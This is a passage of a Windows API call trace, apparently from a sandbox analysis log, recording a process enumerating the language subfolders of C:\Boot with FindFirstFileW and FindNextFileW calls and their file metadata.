dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.841] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.841] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.841] FindClose (in: hFindFile=0x11ba1d0 | out: hFindFile=0x11ba1d0) returned 1 [0077.841] GetProcessHeap () returned 0x11a0000 [0077.841] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.841] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="da-DK", cAlternateFileName="")) returned 1 [0077.841] GetProcessHeap () returned 0x11a0000 [0077.841] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.842] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.842] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.843] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.843] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.843] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.843] GetProcessHeap () returned 0x11a0000 [0077.843] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.843] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="de-DE", cAlternateFileName="")) returned 1 [0077.843] GetProcessHeap () returned 0x11a0000 [0077.843] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0077.843] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.844] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.844] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.844] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.844] FindClose (in: hFindFile=0x11b9f90 | out: hFindFile=0x11b9f90) returned 1 [0077.844] GetProcessHeap () returned 0x11a0000 [0077.844] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.844] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="el-GR", cAlternateFileName="")) returned 1 [0077.844] GetProcessHeap () returned 0x11a0000 [0077.844] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.845] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.845] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.845] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.845] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.845] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.845] GetProcessHeap () returned 0x11a0000 [0077.846] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.846] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="en-GB", cAlternateFileName="")) returned 1 [0077.846] GetProcessHeap () returned 0x11a0000 [0077.846] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.846] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.847] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.847] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.847] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.847] GetProcessHeap () returned 0x11a0000 [0077.847] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.847] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="en-US", cAlternateFileName="")) returned 1 [0077.847] GetProcessHeap () returned 0x11a0000 [0077.847] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.847] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.847] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.848] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.848] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.848] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.848] GetProcessHeap () returned 0x11a0000 [0077.848] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.848] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="es-ES", cAlternateFileName="")) returned 1 [0077.848] GetProcessHeap () returned 0x11a0000 [0077.848] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.849] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.849] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.849] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.849] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.849] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.849] GetProcessHeap () returned 0x11a0000 [0077.849] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.849] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="es-MX", cAlternateFileName="")) returned 1 [0077.849] GetProcessHeap () returned 0x11a0000 [0077.850] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.850] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.850] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x1d1, 